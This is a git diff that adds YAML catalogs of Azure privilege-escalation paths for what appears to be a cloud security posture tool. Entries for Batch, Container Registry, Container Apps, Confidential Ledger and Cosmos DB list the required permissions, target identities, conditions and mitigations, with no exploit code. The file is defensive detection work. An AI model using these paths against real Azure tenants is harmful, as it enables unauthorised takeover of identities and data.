+ - https://learn.microsoft.com/en-us/azure/azure-vmware/using-azure-vmware-solution-run-command + notes: Package and cmdlet read permissions aid discovery but are not needed when the cmdlet ID is already known. The selector checks write permission on the exact script execution, including a grant limited to that child resource. Only a reviewed identity_grant artifact naming the execution, granted group, source-controlled member login, and successful subsequent authorization creates an edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml new file mode 100644 index 0000000000..227e6a28af --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml @@ -0,0 +1,145 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Batch techniques (declarative only). +# Source: hacktricks-cloud az-batch-privesc.md (rev 171e422, re-verified). +# Pool identities are user-assigned only; {target.host_resource} resolves to the pool host resource. + +- id: azure-batch-shared-key-task-submission + provider: azure + service: batch + title: Batch shared key allows task submission to pools with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountslistkeysaction + source_revision: a66f094ede + summary: The source can obtain the privileges of user-assigned identities attached to the Batch account's pools. + requires: + all_of: [] + any_of: + - - action: Microsoft.Batch/batchAccounts/listkeys/action + scope: "{target.host_resource}" + - - action: Microsoft.Batch/batchAccounts/regeneratekeys/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + azure_batch_shared_key_pool_identity: true + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: shared_key_auth_mode + description: allowedAuthenticationModes must include SharedKey or the source must be able to enable it on the same account. + - id: pool_node_allocation + description: The existing pool must be able to allocate nodes for submitted tasks. + - id: batch_data_plane_reachability + description: The source must be able to reach the Batch service endpoint allowed by the account's network settings. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove SharedKey from allowedAuthenticationModes and restrict listkeys/regeneratekeys. + references: + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: The selector joins the key action to the exact account of a native pool carrying a verified user-assigned identity and checks SharedKey mode or an account/write re-enablement path. regeneratekeys also disrupts legitimate key users. + +- id: azure-batch-job-task-submission + provider: azure + service: batch + title: Submit Batch jobs/tasks via data actions to pools with managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#azure-batch-job-and-task-data-actions + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities attached to the Batch account's pools. + requires: + all_of: [] + any_of: + - - action: Microsoft.Batch/batchAccounts/jobs/write + data_action: true + scope: "*" + - - action: Microsoft.Batch/batchAccounts/jobSchedules/write + data_action: true + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + azure_batch_job_pool_identity: true + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: pool_has_nodes + description: The exact native pool must have compute nodes or a configured path to allocate them. + - id: task_can_reach_imds + description: Task user isolation and network configuration must allow tasks to request the pool identity token. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit Azure Batch Job Submitter assignments and keep pool identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/batch/batch-role-based-access-control + notes: The selector joins jobs/write or jobSchedules/write on the exact AAD-enabled Batch account to a native pool with the target user-assigned identity and node capacity. Both job and schedule creation can include a Job Manager or Job Preparation Task, so separate task submission permission is not needed for code execution. Task isolation and actual scheduling remain conditional. + +- id: azure-batch-pool-write-starttask + provider: azure + service: batch + title: Rewrite a pool start task to run code on nodes with the pool identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountspoolswrite--node-rce-via-pool-starttask--managed-identity-attach-control-plane-no-keys + source_revision: 171e422 + summary: A pool start task the source controls runs on every node through the control plane (no account keys), exposing the user-assigned identities attached to the pool. + requires: + all_of: + - action: Microsoft.Batch/batchAccounts/pools/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Batch/batchAccounts/pools + managed_identity_type: user_assigned + azure_batch_pool_starttask_identity: true + scope: inherited_scope + aggregate_as: "Pool identities of Batch account {target.host_resource}" + conditions: + - id: nodes_restart_or_join + description: The new start task runs when nodes join or are rebooted/reimaged; existing idle nodes do not rerun it on their own. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict pools/write (included in Contributor) and keep pool identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + notes: The selector requires an exact native pool carrying the verified target identity and a pools/write grant on that pool. New pool identity attachment is modelled separately in azure-batch-pool-write-assign-user-assigned-identity. + +- id: azure-batch-pool-write-assign-user-assigned-identity + provider: azure + service: batch + title: Attach a user-assigned identity to a Batch pool and run code on its nodes + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountspoolswrite--node-rce-via-pool-starttask--managed-identity-attach-control-plane-no-keys + source_revision: 171e422 + summary: The source can attach a user-assigned identity to a Batch pool it can create or update, run a start task on new nodes, and use that identity's privileges. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_batch_pool_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities attachable to Batch pools in {scope} + conditions: + - id: pool_core_quota + description: The Batch account needs quota and a supported VM configuration to allocate nodes; an updated pool must first scale to zero for its new identity to reach nodes. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and pools/write. + references: + - https://learn.microsoft.com/en-us/azure/batch/managed-identity-pools + - https://learn.microsoft.com/en-us/rest/api/batchmanagement/pool/update + notes: The evaluator checks pools/write on an exact existing pool or a new pool path under an inventoried Batch account. Pool allocation remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml new file mode 100644 index 0000000000..fcb8c65759 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/confidential_ledger.yaml @@ -0,0 +1,38 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Confidential Ledger techniques (declarative only). +# Source: hacktricks-cloud az-confidential-ledger-privesc.md (rev 171e422). + +- id: azure-confidentialledger-ledgers-write-principal + provider: azure + service: confidential_ledger + title: Add a principal as ledger Administrator through ledgers/write + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-confidential-ledger-privesc.md#data-plane-role-self-grant-via-ledgerswrite + source_revision: 171e422 + summary: The source can add its own Entra principal as a ledger Administrator by updating the ledger's aadBasedSecurityPrincipals list. + requires: + all_of: + - action: Microsoft.ConfidentialLedger/ledgers/write + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + azure_confidential_ledger_admin_path: true + scope: inherited_scope + aggregate_as: "Confidential Ledger administrators of {target.scope}" + conditions: + - id: ledger_data_plane_access + description: The source must obtain a ledger audience token and reach the ledger endpoint to use the new role. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Restrict ledgers/write and monitor aadBasedSecurityPrincipals changes. + references: + - https://learn.microsoft.com/en-us/rest/api/resource-manager/confidentialledger/ledger/update?view=rest-resource-manager-confidentialledger-2022-05-13 + - https://learn.microsoft.com/en-us/azure/confidential-ledger/manage-azure-ad-users + notes: The selector requires an inventoried usable ledger and a source user, service principal, or managed identity. The ARM update can grant Administrator; data-plane use remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml new file mode 100644 index 0000000000..186129fff9 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/container_registry.yaml @@ -0,0 +1,101 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Container Registry techniques (declarative only). +# Source: hacktricks-cloud az-container-registry-privesc.md (rev 171e422, re-verified). + +- id: azure-acr-task-write-existing-identity + provider: azure + service: container_registry + title: Create or update an ACR Task running with the task's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskswrite + source_revision: db5b136660 + summary: The source can obtain the privileges of the ACR Task's managed identities. + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/tasks/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerRegistry/registries/tasks + azure_acr_existing_task_identity: true + scope: inherited_scope + aggregate_as: Identities of ACR Task {target.host_resource} + conditions: + - id: task_runs + description: The task must run; tasks/write can itself set a timer trigger, so no separate run permission is strictly needed (the run waits for the schedule). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict tasks/write and keep task identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity + notes: Only an existing task whose native identity matches the target qualifies; write on the exact task can change its steps or schedule without replacing its identity. + +- id: azure-acr-task-assign-user-assigned-identity + provider: azure + service: container_registry + title: Create an ACR Task with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskswrite + source_revision: db5b136660 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.ContainerRegistry/registries/tasks/write + scope: '{pivot}' + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + azure_acr_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: task_runs + description: The task must run (schedule, source trigger, or a separate run permission). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and tasks/write. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity + notes: Task write is evaluated on an inventoried ACR registry or existing task, and the target UAMI must have a matching resource record; missing inventory is unresolved. + +- id: azure-acr-layer-credential + provider: azure + service: container_registry + title: Extract credentials from ACR image layers + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespullread + source_revision: bd4bcd0ea3 + summary: Read a verified usable credential from an ACR image layer and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/pull/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-concepts + notes: Only an exact, usable credential mapped to a named Entra service principal by reviewed azure_privesc_challenge_evidence creates a path; missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml new file mode 100644 index 0000000000..671f30ec21 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/containers.yaml @@ -0,0 +1,326 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Container Instances, Container Apps and Container Apps Jobs techniques (declarative only). +# Source: hacktricks-cloud az-container-instances-apps-jobs-privesc.md (rev 171e422, re-verified). + +- id: azure-aci-container-exec + provider: azure + service: containers + title: Execute commands in a running Container Instances container + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupsread-microsoftcontainerinstancecontainergroupscontainersexecaction + source_revision: 171e422 + summary: The source can run a command inside a running container group and use the managed identity attached to that same group. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/containers/exec/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + azure_aci_exec_running_identity: true + scope: inherited_scope + aggregate_as: Identities of container group {target.host_resource} + conditions: + - id: exact_running_container + description: A running container in the exact group must carry the named identity and accept a command from the source. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict containers/exec/action and keep container group identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-exec + notes: The direct exec action is checked on the exact group; CLI discovery may also need containerGroups/read. Missing runtime or identity facts stay unresolved. + +- id: azure-aci-containergroup-write-existing + provider: azure + service: containers + title: Redeploy an existing container group with changed command, image or environment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupswrite-environment-update + source_revision: 171e422 + summary: The source can redeploy an existing running container group with changed code or command and use the managed identity attached to that same group. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + azure_aci_existing_write_identity: true + scope: inherited_scope + aggregate_as: Identities of container group {target.host_resource} + conditions: + - id: exact_existing_group_update + description: The native group must be running with the target identity and accept an in-place image, command or environment update. + - id: uami_linked_access_check + description: Container groups are updated by a full PUT that re-submits the identity block; for groups carrying user-assigned identities ARM may also require userAssignedIdentities/assign/action on each of them (system-assigned identities are unaffected). + - id: interpreter_startup_hook + description: The environment-only variant needs a container whose entrypoint honours an attacker-set startup variable; changing image/command removes this dependency. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict containerGroups/write. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-update + notes: The write permission must apply to the exact existing group. Stopped or unknown group state stays unresolved; succeeded and failed groups cannot be updated in place. Identity linked access checks and update limits remain conditional. + +- id: azure-aci-assign-user-assigned-identity + provider: azure + service: containers + title: Create or update a container group with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftresourcessubscriptionsresourcegroupsread-microsoftcontainerinstancecontainergroupswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source can attach an assignable user-assigned identity to a container group it can create or update, then run code as that identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.ContainerInstance/containerGroups/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_aci_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: aci_deployment_and_identity_use + description: The container group must accept the update or creation, start attacker-controlled code, and expose the assigned identity token to that code. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and containerGroups/write. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-managed-identity + notes: Requires the exact identity assignment right and a writable inventoried container group, or a known resource group where a new container group can be written. Missing group inventory remains unresolved. + +- id: azure-containerapp-exec + provider: azure + service: containers + title: Open a console in a running Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappsread-microsoftappmanagedenvironmentsread-microsoftappcontainerappsrevisionsreplicasread-microsoftappcontainerappsrevisionsread-microsoftappcontainerappsgetauthtokenaction-microsoftappcontainerappsexecaction-microsoftappcontainerappsdebugaction + source_revision: 171e422 + summary: A console in a running Container App may use a managed identity available to its main container. + requires: + all_of: + - action: Microsoft.App/containerApps/getAuthToken/action + scope: '{target.host_resource}' + any_of: + - - action: Microsoft.App/containerApps/exec/action + data_action: true + scope: '{target.host_resource}' + - - action: Microsoft.App/containerApps/debug/action + data_action: true + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + azure_containerapp_exec_identity: true + scope: inherited_scope + aggregate_as: Identities of Container App {target.host_resource} + conditions: + - id: replica_running + description: The exact app must have a revision with a running replica. + - id: identity_main_stage + description: The target identity must be available during the app's main lifecycle. + - id: client_reads + description: CLI clients also use containerApps/read, revisions/read, revisions/replicas/read and managedEnvironments/read. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict exec/debug/getAuthToken actions on Container Apps. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/container-console + notes: Native app GET and revision LIST evidence bind the current identity and running replica to the exact app where both permissions apply. + +- id: azure-containerapp-write-existing + provider: azure + service: containers + title: Update an existing Container App's image, command or environment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite + source_revision: 171e422 + summary: A writable, usable Container App can run a changed revision with its currently attached managed identity. + requires: + all_of: + - action: Microsoft.App/containerApps/write + scope: '*' + target: + kind: azure_managed_identity + selector: + azure_containerapp_write_existing_identity: true + scope: inherited_scope + aggregate_as: Identities of Container App {target.host_resource} + conditions: + - id: controlled_revision_execution + description: Updating the app can create a controlled revision, but deployment and identity use still must succeed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict containerApps/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: Native Container App GET binds the exact current identity and usable app state; the selector checks containerApps/write on that app and start/action if it is stopped. The write can set a new image, command, scale and identity lifecycle for a new revision. + +- id: azure-containerapp-assign-user-assigned-identity + provider: azure + service: containers + title: Attach a user-assigned identity to an existing Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source can attach a user-assigned identity to a writable existing Container App and run a new revision with it. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_containerapp_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities attachable to Container Apps in {scope} + conditions: + - id: app_revision_execution + description: The controlled revision must start and be able to request the attached identity's token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and containerApps/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: The selector checks containerApps/write on an exact inventoried app, its running status, and start/action for a stopped app. An identity change alone does not create a revision; the same write grant can change the app template to run code. + +- id: azure-containerapp-create-with-user-assigned-identity + provider: azure + service: containers + title: Create a Container App with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftappmanagedenvironmentsjoinaction + source_revision: 171e422 + summary: The source can create a Container App that runs controlled code with a user-assigned identity in a joinable environment. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_containerapp_create_uami_path: true + scope: inherited_scope + aggregate_as: User-assigned identities usable by new Container Apps in {scope} + conditions: + - id: app_and_environment_deployment + description: The app and its environment must deploy, allocate a replica, and let controlled code request the identity token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict managedEnvironments/join/action and userAssignedIdentities/assign/action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: The selector joins a new app path under an inventoried resource group with an exact joinable existing managed environment, or a creatable environment for which the source has both managedEnvironments/write and join/action. The app and environment share a subscription; deployment remains conditional. + +- id: azure-containerapp-job-start-template-override + provider: azure + service: containers + title: Start a Container Apps Job execution with an overridden template + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappjobsstartaction-microsoftappjobsread + source_revision: 171e422 + summary: The source can obtain the privileges of the job's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.App/jobs/start/action + scope: '{target.host_resource}' + - - action: Microsoft.App/jobs/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/jobs + azure_containerapp_job_execution_identity: true + scope: inherited_scope + aggregate_as: Identities of Container Apps Job {target.host_resource} + conditions: + - id: execution_template + description: Starting the job with a controlled template, or updating it to a controlled scheduled template, must produce an execution. + - id: identity_main_stage + description: The identity must be available to the overridden main or supported init container, or the writer must change that setting. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict jobs/start/action and jobs/write; keep job identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/containerapps/jobs/start + notes: Native Job GET binds the current identity and lifecycle to one usable Job and managed environment. jobs/start/action can override one execution, including init containers on a confirmed Consumption workload profile; jobs/write can change the job to a controlled scheduled template. Actual execution remains conditional. + +- id: azure-containerapp-job-assign-user-assigned-identity + provider: azure + service: containers + title: Create or update a Container Apps Job with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftappjobswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_containerapp_job_assignable_uami: true + scope: inherited_scope + aggregate_as: User-assigned identities usable by writable Container Apps Jobs in {scope} + conditions: + - id: job_execution + description: The writable job must run a controlled scheduled execution to request the attached identity token. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and jobs/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/jobs + notes: The selector checks jobs/write on an exact existing job in a usable managed environment, or a new job path in an inventoried group with managedEnvironments/join/action on an exact usable or creatable environment. The user-assigned identity must be verified, and deployment remains conditional. + +- id: azure-containerapp-sourcecontrols-write + provider: azure + service: containers + title: Repoint a Container App's GitHub Actions deployment to an attacker repository + source: src/pentesting-cloud/azure-security/az-persistence/az-container-apps-persistence.md#microsoftappcontainerappssourcecontrolswrite--repoint-github-actions-deployment + source_revision: 658a097d5c + summary: A reviewed attacker-controlled build and running revision may use the Container App's current managed identity. + requires: + all_of: + - action: Microsoft.App/containerApps/sourcecontrols/write + scope: "*" + target: + kind: azure_managed_identity + selector: + azure_challenge_fact: azure-containerapp-sourcecontrols-write + scope: inherited_scope + aggregate_as: "Verified deployed identity of Container App {target.host_resource}" + conditions: + - id: exact_source_control_deployment + description: Reviewed evidence must bind the source-control change, attacker-controlled build and running deployed revision to the exact Container App and its current usable managed identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.App/containerApps/sourcecontrols/write (Container Apps Contributor, Contributor) and alert on source-control binding changes. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/github-actions + notes: Uses typed azure_privesc_challenge_evidence and native Container App GET/revision LIST validated by azure_deployment_pivots. The selector checks the action grant on the exact sourcecontrols child resource named in the reviewed evidence. A sourcecontrols/write grant or source-binding change alone cannot create an identity edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml new file mode 100644 index 0000000000..a834a30290 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml @@ -0,0 +1,178 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Cosmos DB techniques (declarative only). +# Source: hacktricks-cloud az-cosmosDB-privesc.md (rev 171e422). + +- id: azure-cosmos-sql-role-assignment-write + provider: azure + service: cosmos_db + title: Grant a Cosmos DB native NoSQL data-plane role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountssqlroledefinitionswrite-microsoftdocumentdbdatabaseaccountssqlroledefinitionsread--microsoftdocumentdbdatabaseaccountssqlroleassignmentswrite-microsoftdocumentdbdatabaseaccountssqlroleassignmentsread + source_revision: 171e422 + summary: The source may grant its Entra identity the built-in NoSQL Data Contributor role on a matching account. + requires: + all_of: + - action: Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_cosmos_sql_role_grant: true + scope: inherited_scope + aggregate_as: Cosmos DB data-plane admins of {target.scope} + conditions: + - id: role_definition + description: The built-in Data Contributor role must be assignable to the source identity on the exact usable NoSQL account. + - id: network_reachable + description: The source must have an allowed network path to use the resulting data-plane access. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict sqlRoleAssignments/write and sqlRoleDefinitions/write. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac + notes: Native cosmos_account inventory identifies a usable NoSQL account. The selector requires sqlRoleAssignments/write on that account or an ancestor and a valid Entra source object ID. The built-in Data Contributor role makes roleDefinitions/write unnecessary. A grant limited to one assignment child is unresolved because an arbitrary account-wide grant is not established. + +- id: azure-cosmos-mongodb-user-definition-write + provider: azure + service: cosmos_db + title: Create a privileged Cosmos DB for MongoDB user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountsmongodbroledefinitionswrite--microsoftdocumentdbdatabaseaccountsmongodbroledefinitionsread-microsoftdocumentdbdatabaseaccountsmongodbuserdefinitionswrite--microsoftdocumentdbdatabaseaccountsmongodbuserdefinitionsread + source_revision: 171e422 + summary: The source may create a password-controlled MongoDB user with the built-in dbOwner role on a named database. + requires: + all_of: + - action: Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write + scope: '*' + target: + kind: azure_dataplane_admin + selector: + azure_cosmos_mongo_user_write: true + scope: inherited_scope + aggregate_as: MongoDB database access through {target.scope} + conditions: + - id: mongo_rbac_enabled + description: The account must be a usable MongoDB account with native MongoDB RBAC enabled. + - id: database_user_created + description: The user definition must be accepted for a database that exists, with a controlled password and the built-in dbOwner role. + - id: network_reachable + description: Account firewall must allow the source. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongodbUserDefinitions/write; limit mongodbRoleDefinitions/write where custom roles are needed. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/how-to-setup-rbac + notes: Native cosmos_account inventory binds the account kind, state and EnableMongoRoleBasedAccessControl capability. The selector requires mongodbUserDefinitions/write inherited from the account or ancestor, which can create users for named databases; roleDefinitions/write is only needed to create a custom role. A child-only grant remains unresolved because it does not establish account-wide coverage. + +- id: azure-cosmos-mongocluster-admin-password + provider: azure + service: cosmos_db + title: Change the MongoDB vCore cluster administrator password + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbmongoclustersread--microsoftdocumentdbmongoclusterswrite + source_revision: 171e422 + summary: The source may reset the administrator password of a usable primary MongoDB vCore cluster. + requires: + all_of: + - action: Microsoft.DocumentDB/mongoClusters/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + azure_mongo_cluster_admin_password: true + scope: inherited_scope + aggregate_as: MongoDB cluster admins of {target.scope} + conditions: + - id: password_reset_succeeds + description: The administrator password update must be accepted by the primary cluster. + - id: network_reachable + description: Cluster firewall must allow the source (firewallRules/write can add a rule). + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict mongoClusters/write and prefer Entra authentication. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/mongodb/vcore/ + notes: Native mongo_cluster inventory binds the exact primary cluster and its provisioning state. The selector checks mongoClusters/write on that cluster; native authentication can be enabled through the same update permission when necessary. Network access remains conditional. + +- id: azure-cosmos-other-api-role-assignment-write + provider: azure + service: cosmos_db + title: Grant a Cosmos DB native data-plane role on the Cassandra, Gremlin, Table or MongoDB API + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#same-native-rbac-self-grant-on-the-other-cosmos-apis-cassandra--gremlin--table--mongodb-account + source_revision: a66f094ede + summary: The source may grant its own Entra identity data-plane access on a matching Cosmos DB API account. + requires: + all_of: [] + any_of: + - - action: 